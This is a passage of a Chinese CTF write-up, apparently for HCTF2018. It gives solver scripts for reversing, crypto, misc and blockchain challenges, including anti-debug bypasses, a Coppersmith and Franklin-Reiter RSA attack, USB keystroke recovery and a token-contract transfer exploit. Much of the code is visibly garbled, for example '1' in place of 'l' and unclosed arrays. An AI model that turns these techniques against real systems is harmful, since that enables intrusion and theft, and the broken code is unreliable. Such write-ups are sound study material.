                    v1 -= 70
         elif(v==3):
                    v1 -= 66
         elif(v==4):
                    v1 ^= 0xca
         elif (v == 5):
                    v1 ^= 0xfe
         elif (v == 6):
                    v1 ^= 0xbe
         elif (v == 7):
                    v1 ^= 0xef
         data[i*2+1] = v1
         flag += chr((v1<<3)|v)
print(flag)
def final_check(x):
         for i in x:
                    s.add(i>0, i<10)
         for i in range(9):
                    for j in range(i+1, 9):
                                 ## print(x[i]!=x[j])
                                 s.add(x[i]!=x[j])
def invd(x):
         if(x==0x4433):
                     for i in range(5):
                                 table[2*i], table[2*i+1] = table[2*i+1], table[2*i]
         elif(x==0x4434):
                     buff = table[0]
                     for i in range(9):
                                 table[i] = table[i+1]
                     table[9] = buff
         elif(x==0x4437):
                     v4 = table[7]
                     for k in range(3):
                                 table[k+7] = table[7-k-1]
                                 if(k==2):
                                             table[7-k-1] = table[3]
                                  else:
                                             table[7-k-1] = table[k+7+1]
                     table[3] = table[3-0-2]
                     table[3-0-2] = table[3-0-1]
                     table[3-1-1] = v4
```

```
if(x==374):
      v3 = output[76]
      v4 = output[36]
      for i in range(8, 0, -1):
          output[9*i+4] = output[9*(i-1)+4]
      output[4] = v3
      for i in range(8):
          output[36+i] = output[37+i]
      output[44] = v4
  elif(x==372):
      v6 = output[80]
      v7 = output[8]
      for i in range(8, 0, -1):
          output[10*i] = output[10*(i-1)]
      output[0] = v6
      for j in range(1, 9):
          output[8*j] = output[8*j+8]
      output[8*9] = v7
def vmcall(x):
  command = x >> 24
  index = (x>>16)
  index = (index\&0xf)+9*((index\&0xf0)>>4)
  cho = (x>>8)&0xff
  x = x\&0xff
   ## c[x] = 1
  if(cho==0xcc):
      1 = a
  else:
      1 = a[::-1]
   ## print(index, command, table, output)
  if (command == table[0]):
      output[index] = l[x]
  elif (command == table[1]):
      output[index] += l[x]
  elif (command == table[2]):
      output[index] -= l[x]
  elif (command == table[3]):
      output[index] = output[index]/1[x]
  elif (command == table[4]):
      output[index] *= l[x]
  elif (command == table[5]):
      output[index] ^= l[x]
  elif (command == table[6]):
      output[index] = l[x]+l[x-1]-l[x+1]
  elif (command == table[7]):
      output[index] ^= l[x]*16
  elif (command == table[8]):
      output[index] |= l[x]
  elif (command == table[9]):
      output[index] = 1[x+1]^1[x-1]^(1[x-2] + 1[x] - 1[x+2])
  else:
      print("Error: %d"%x)
  output[index] &= 0xff
from z3 import *
a = [BitVec("a%d"%i, 32) for i in range(27)]
for i in a:
  s.add(i>32, i<127)
c = [0 \text{ for i in range}(81)]
table = [163, 249, 119, 166, 193, 199, 78, 209, 81, 255]
t1 = [147, 200, 69, 149, 245, 242, 120, 230, 105, 198]
t2 = [144, 205, 64, 150, 240, 254, 120, 227, 100, 199]
output = [7, 206, 89, 35, 9, 5, 3, 1, 6, 2, 6, 5, 125, 86, 240, 40, 4, 89, 77, 77, 75, 83, 9, 1, 15, 87, 8, 211, 56, 111, 665,
## init
v6 = output[40];
for i in range(4):
```

```
output[8 * i + 40] = output[8 * i + 40-1];
   for j in range(2*i+1):
    output[3 - i + 9 * (i + 4 - j)] = output[3 - i + 9 * (i + 4 - (j + 1))];
   for k in range(2*i+2):
    output[k + 9 * (3 - i) + 3 - i] = output[10 * (3 - i) + k + 1];
   for 1 in range(2*i+2):
    output[9 * (1 + 3 - i) + i + 5] = output[9 * (3 - i + 1 + 1) + i + 5];
   for m in range(2*i+2):
    output[9 * (i + 5) + i + 5 - m] = output[9 * (i + 5) + i + 5 - (m + 1)];
output[72] = v6;
## cpuid==0xCAFEBABE
\#\# for i in range(10):
      table[i] ^= t1[i]
##
## invd(0x4437)
## cpuid==0xDEADBEEF
for i in range(10):
  table[i] ^= t2[i]
invd(0x4437)
read_msr(372)
read_msr(374)
invd(0x4433)
vmcall(0x30133403);
vmcall(0x3401CC01);
vmcall(0x36327A09);
vmcall(0x3300CC00);
vmcall(0x3015CC04);
vmcall(0x35289D07);
vmcall(0x3027CC06);
vmcall(873647107);
vmcall(807849222);
vmcall(872947457);
vmcall(856802050);
vmcall(908446725);
vmcall(959499271);
vmcall(925144069);
vmcall(872575488);
vmcall(958622468);
vmcall(875655944);
vmcall(923061250);
invd(0x4434);
vmcall(944971537);
vmcall(875940873);
vmcall(943901706);
vmcall(892914443);
vmcall(928041997);
vmcall(910258445);
vmcall(945146895);
vmcall(928500752);
vmcall(926941196);
vmcall(826736911);
vmcall(826723339);
vmcall(927138318);
vmcall(909512458);
vmcall(827509774);
vmcall(877960210);
vmcall(877728016);
vmcall(877186060);
vmcall(909364232);
invd(0x4437);
vmcall(813747223);
vmcall(930360342);
vmcall(846318612);
vmcall(964938777);
vmcall(880982807);
vmcall(895990805);
vmcall(830997530);
```

```
vmcall(0x3965CC12);
vmcall(0x32869C19);
vmcall(0x3785CC1A);
vmcall(0x3281CC18);
vmcall(0x3262DC14);
vmcall(0x3573CC15);
vmcall(0x37566613);
vmcall(0x3161CC11);
vmcall(0x3266CC13);
vmcall(0x39844818);
vmcall(0x3777CC16);
## print(output)
\#\# check = [4, 5, 6, 7, 8, 21, 23, 39, 55]
for j in range(9):
  v5 = [0 \text{ for i in } range(9)]
  for i in range(9):
     v5[i] = output[((check[i+9*j]&0xf0)>>4)*9 + (check[i+9*j]&0xf)]
  print(v5)
  final_check(v5)
print(s.check())
## | | | | | |
while(s.check()==sat):
  m = s.model()
  flag2 = ""
  for i in a:
     flag2 += chr(m[i].as_long())
  print(flag2)
  exp = []
  for val in a:
     exp.append(val!=m[val])
  s.add(Or(exp))
LuckyStar
```

在TlsCallback中实现了GetProcAddressByHash进行反调试

下文通过IstrcmpW比较进程名来反调试

全部跳过以后以0x61616161作为种子,然后用随机数来解sub\_401780的SMC

### 直接通过即可

另外值得一提的是绕过反调试的时候不知道为什么导致了栈中有了16个字节的偏移,需要自己修复

然后在sub\_401780中开启了一个线程播放音乐,主线程会通过Sleep阻塞住等待音乐播放完毕之后再次用随机数来解sub\_4015E0的SMC

在接收29个字节的输入以后,送入sub\_4015E0中进行运算,最后跟0x403520处的数组进行比较

这里跟了几次, sub\_4015E0都解码失败

这说明中间可能还有某个地方偷偷做了rand()或者srand()

于是进行动调,跑起来以后在rand()和srand()中下断,果然断到

```
if ( (_BYTE)v4 )
   v5 = 0x10001165;
else
   v5 = 0x68637466;
v2 = v1 - 17044;
(*(void (__cdecl **)(signed int))(v1 - 17044))(v5);
(*(void (**)(void))(v2 - 4))();
```

sub\_402510处还分别调用了一次srand和rand,这里的v4显然是反调,调试状态下会使得种子为0x10001165,于是我们令其等于0x68637466也就是hctf,即可解码su

前半段显然是一个base64,看了一下表只是大小写互换了

后半段则又是调用了rand(),每次取低2位,然后逐个填充字符

这里动调令output为0x00,然后直接dump数据即可

## 最后求解就是输出内容和随机数据异或后解b64

另外由于输入只要29个字符,导致b64解时出现了不足位的问题,尝试补了等于号都不行,于是就删了一个字符,最后明文补'}'即可目测dump的时候多拿点数据、到32个字节时应该也能解出吧

```
xor = [0x08, 0x81, 0x39, 0x8D, 0x40, 0x09, 0x42, 0x14, 0xD0, 0xF2, 0x98, 0x66, 0x33, 0xD6, 0xC9, 0xB2, 0xC1, 0x95, 0xB6, 0x1E,
```

```
0xC7, 0x2D, 0x1C, 0xEF, 0xD2, 0xB2, 0x5F, 0x66, 0x8C]
ori = [0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC,
0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56,
0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8,
0xCC, 0x051
import string
from base64 import b64decode
flag2 = ""
for i in range(29):
  v = (chr(ori[i]^xor[i]))
  if(v in string.ascii_uppercase):
     v = v.lower()
  elif(v in string.ascii_lowercase):
     v = v.upper()
  flag2 += v
print(flag2)
print(b64decode(flag2.encode()[:-1]))
Seven
这是一个64位的驱动,代码量相对不大
从DriverEntry进去各个函数看一下,只有sub_140001210里有一些引人注意的东西
v7[-1].CompletionRoutine = (PIO COMPLETION ROUTINE)sub 1400012F0;
这个成员是完成例程,查了一下大体上是有事件的时候交给它处理
第一个参数没有引用直接忽略,第二个参数多次调用,于是搜了一下,发现是Irp指针,按Y指定类型以后可以识别出很多成员名帮助分析
然而有一个地方,AssociatedIrp这个union,IDA的结构体和msdn的不同,有点没搞明白,之后有空再调试学习一下
这个其实问题不大,可以之后再说
主逻辑代码量也不大,比较清晰
根据input_pointer的值来修改I_index,分别有-1、+1、-0x10、+0x10四种情况,还有一些边界处理,可以忽略
那么根据上下移动的大小为0x10可以猜出地图宽度为0x10,于是扒出0x140003000处的地图并重绘
******
*******
****7*******
**********
通过提示字符串显然要求终点为7
其他部分可以看出来,所在点是o,碰到*就gameover,离开的地方会重绘为.
那么很容易可以得到移动路径:
14* \rightarrow + 2* \downarrow + \leftarrow + 9* (\leftarrow + \downarrow)
下一个问题就是怎么处理得到输入
判定值分别为0x11, 0x1e, 0x1f, 0x20, 显然不是输入的ASCII
这里就要重新回到驱动的部分了
input_pointer每次后移12个字节(默认IDA是作为Word*来考虑,因此会显示+6),那么显然这是一个12个字节的结构,程序只要通过第一个字节就能识别出输入
思考了一阵子没有得到结果,于是Google一下
用■■IRP 0xc AssociatedIrp的关键词搜到了键盘驱动的文章
  一个KEYBOARD_INPUT_DATA 的大小为0xc, 所以Irp->AssociatedIrp.SystemBuffer...
很显然,这里是通过KEYBOARD INPUT_DATA来获取输入的
```

又查了一下它的值,发现每个键是有两个字节的,不过第一个字节就足够区分按键,分别是wasd的INPUT\_DATA

于是

```
print(14*"d"+2*"s"+"a"+9*"as")
```

#### 得到flag

#### PolishDuck

跟Pwnhub血月归来中的Re一题完全一样 用hex2bin转换成二进制,然后IDA装载 根据RESET函数中的(r31<<8)+r30找到RAM段,(0xf0<<8)+r17-0x100找到长度,dump出来或者直接用IDA读文件即可

关键部分在sub\_9A8中,恢复出delay和print两个函数以后,根据print的参数依次打印、eval并转hex,tostring即可其中print的参数为RAM段的偏移

```
with open(r"PolishDuck (1).bin", "rb") as f:
   data = f.read()
table = data[0x1a50:0x1a50+0x4f0-0x100]
def p(x):
  x -= 0x100
  buff = ""
   while(table[x]!=0):
      buff += chr(table[x])
       x += 1
       ## print(table[x])
   return buff
exp = ""
\#\# \exp += (p(0x140))
exp += (p(0x14C))
exp += (p(0x153))
exp += (p(0x162))
\exp += (p(0x177))
exp += (p(0x18B))
exp += (p(0x1A9))
exp += (p(0x1C8))
exp += (p(0x1D3))
exp += (p(0x1EB))
exp += (p(0x1FE))
exp += (p(0x25E))
exp += (p(0x207))
exp += (p(0x21C))
exp += (p(0x227))
exp += (p(0x246))
exp += (p(0x261))
exp += (p(0x270))
exp += (p(0x28B))
exp += (p(0x298))
exp += (p(0x2A3))
exp += (p(0x2B1))
exp += (p(0x25C))
exp += (p(0x2BA))
exp += (p(0x2C5))
exp += (p(0x2D0))
exp += (p(0x2D7))
exp += (p(0x2F2))
exp += (p(0x307))
exp += (p(0x310))
exp += (p(0x25E))
exp += (p(0x327))
exp += (p(0x346))
exp += (p(0x3DC))
exp += (p(0x34D))
exp += (p(0x364))
exp += (p(0x373))
exp += (p(0x38F))
exp += (p(0x3A6))
exp += (p(0x3B3))
exp += (p(0x3BF))
exp += (p(0x3D0))
exp += (p(0x3DF))
exp += (p(0x3EF))
exp += (p(0x400))
```

```
exp += (p(0x44B))
exp += (p(0x413))
exp += (p(0x42C))
exp += (p(0x43B))
exp += (p(0x44F))
exp += (p(0x452))
exp += (p(0x490))
exp += (p(0x45F))
exp += (p(0x46C))
exp += (p(0x47D))
exp += (p(0x48E))
exp += (p(0x497))
exp += (p(0x49E))
exp += (p(0x4B5))
exp += (p(0x4CB))
exp += (p(0x445))
exp += (p(0x445))
exp += (p(0x4D6))
exp += (p(0x44D))
exp += (p(0x44D))
exp += (p(0x494))
exp += (p(0x4E5))
exp += (p(0x44f))
print(exp)
print(bytes.fromhex(hex(eval(exp))[2:]))
## print(table[0x110])
```

## Crypto

xor

flag当key复用,首先3字符测试出长度为21,然后找到每个位置能够使得密文解密后全部可见并且e最多的可能字符,然后人工修正即可获得flag:

```
js=[0]*32
c=a.decode("base64")
for i in range(len(c)-4):
   try3=c[i:i+3]
   for j in range(i+1,len(c)-3):
       if c[j:j+3]==try3:
           print j-i
           for x in range(10,32):
               if (j-i) % x==0:
                   js[x]+=1
print js
for i in range(32):
   print i,js[i]
###21
already=[]
for i in c:
   if i not in already:
      already.append(i)
print len(already)
import string
from Crypto.Util.strxor import strxor
def guess(position):
   possible=[]
   calc_e=[]
   for i in string.printable:
       js = 0
       all = 0
       tmp=""
```

```
for j in range(position,len(c),21):
          if strxor(i,c[j]) in string.printable:
              js+=1
          all+=1
          tmp+=strxor(i, c[j])
      if js==all:
          possible.append(i)
          ii=0
          for x in tmp:
              if x =='e':
                  jj+=1
          calc_e.append(jj)
  return possible,calc_e
for i in range(21):
  possible, calc_e = guess(i)
  for i in range(len(possible)):
      if calc_e[i]>=5:
          print possible[i],
  print
```

### xor?rsa

公钥长度为2048bit,随机生成消息m1,m1与一个40bit的随机数异或生成m2。这里m2和m1可以考虑为m1的高2008个bit经过填充获得,所以考虑使用Coppersmith's Short Pad Attack和 Franklin-Reiter Related Message Attack来恢复m1和m2。

## □ 使用脚本

```
# coppersmiths_short_pad_attack.sage
def short_pad_attack(c1, c2, e, n):
  PRxy. < x, y> = PolynomialRing(Zmod(n))
  PRx. < xn > = PolynomialRing(Zmod(n))
  PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
  g1 = x^e - c1
  g2 = (x+y)^e - c2
  q1 = g1.change_ring(PRZZ)
  q2 = g2.change_ring(PRZZ)
  h = q2.resultant(q1)
  h = h.univariate_polynomial()
  h = h.change_ring(PRx).subs(y=xn)
  h = h.monic()
  kbits = n.nbits()//(2*e*e)
  diff = h.small\_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5
  return diff
def related_message_attack(c1, c2, diff, e, n):
  PRx.<x> = PolynomialRing(Zmod(n))
  g1 = x^e - c1
  g2 = (x+diff)^e - c2
  def gcd(g1, g2):
       while g2:
          g1, g2 = g2, g1 % g2
       return gl.monic()
  return -gcd(g1, g2)[0]
if __name__ == '__main__':
  print "aaa"
  n =
  c1 =
  e = 5
  nbits = n.nbits()
  kbits = nbits//(2*e*e)
```

```
print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

# ^^ = bit-wise XOR
# http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage

diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff

ml = related_message_attack(c1, c2, diff, e, n)
print 'hhhha'
print ml
print ml + diff
```

### Misc

#### Freq game

#### 利用FFT求频域分量

```
import numpy as np
from pwn import *
import json
Fs=1500
T=1.0/Fs
L=1500
t = np.linspace(0,1,L)
p = remote('150.109.119.46',6775)
log.info(p.recvuntil('this is a sample game'))
log.info(p.recvuntil('hint:'))
p.sendline('y')
log.info(p.recvuntil('input your token:'))
p.sendline('Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
for i in range(8):
  data=p.recvuntil(']')
  S=json.loads(data)
  Y=np.fft.fft(S)
  P2=np.abs(Y/L)
  P1=P2[0:(L/2+1)]
  res=[]
  for i in range(len(P1)):
       if P1[i]>3:
          res.append(str(i))
  print(res)
  p.send(' '.join(res))
print(p.recv(1024))
```

## difficult programming language

### 获取 usb 数据:

tshark -r difficult\_programming\_language.pcap -T fields -e usb.capdata -Y 'usb.capdata && usb.transfer\_type == 0x01 && frame.len == 35 && !(usb.capdata == 00:00:00:00:00:00:00:00:00)' >cap.txt

#### 然后用如下脚本跑一下即可:

```
"38":["/","?"] }
usbmap = {**alphaidx, **numidx, **otheridx}
rst = list()
with open("cap.txt", "r") as \_:
  for line in _.readlines():
      vals = line.split(":")
      ctrl, key = vals[0], vals[2].upper()
      if key == "00": continue
      if key in usbmap.keys():
          if int(ctrl) == 2 :
              presskey = usbmap[key][1] if len(usbmap[key]) > 1 else "<?>"
          else:
              presskey = usbmap[key][0]
          rst.append(presskey)
      else:
          print("<??> => {:s}".format(key))
print(''.join(rst[:-1]))
主要是控制字符也需要正确处理. 然后到 http://malbolge.doleczek.pl/ 跑一下就行了
blockchain
ez2win
开始说要逆向,我连看都没看,后来给了源码,就是2分钟的事情了==
审计,发现存在如下函数
function _transfer(address from, address to, uint256 value) {
  require(value <= _balances[from]);</pre>
  require(to != address(0));
  require(value <= 10000000);
  _balances[from] = _balances[from].sub(value);
  _balances[to] = _balances[to].add(value);
可以未授权直接运行,而合约创建者有:
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
这么多的token,直接trasfer到我的账户上,然后payforflag就行了
点击收藏 | 0 关注 | 1
上一篇: HCTF2018 Writeup ... 下一篇: HCTF2018 Writeup ...
1. 0 条回复
  • 动动手指,沙发就是你的了!
```

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